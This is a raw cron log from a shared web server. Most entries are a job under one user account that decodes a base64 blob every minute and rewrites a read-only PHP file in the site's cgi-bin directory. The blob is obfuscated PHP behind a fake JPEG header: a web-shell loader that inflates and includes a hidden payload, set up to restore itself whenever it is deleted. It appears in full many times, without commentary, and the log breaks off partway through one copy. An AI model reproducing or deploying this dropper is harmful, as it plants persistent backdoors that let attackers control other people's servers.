Apr 11 16:01:01 server CROND[17556]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:01:01 server run-parts(/etc/cron.hourly)[17557]: starting 0anacron
Apr 11 16:01:01 server run-parts(/etc/cron.hourly)[17569]: finished 0anacron
Apr 11 16:02:01 server CROND[17639]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:03:01 server CROND[17728]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:04:01 server CROND[17795]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:05:01 server CROND[17869]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:05:01 server CROND[17870]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 16:05:01 server CROND[17871]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 16:05:01 server CROND[17872]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 16:06:01 server CROND[18098]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:07:01 server CROND[18167]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:08:01 server CROND[18231]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:09:01 server CROND[18298]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:09:01 server CROND[18297]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 16:10:01 server CROND[18376]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 16:10:01 server CROND[18377]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 16:10:01 server CROND[18379]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:10:01 server CROND[18378]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 16:11:01 server CROND[18594]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:12:01 server CROND[18671]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:12:01 server CROND[18672]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 16:13:01 server CROND[18771]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:14:01 server CROND[18851]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSV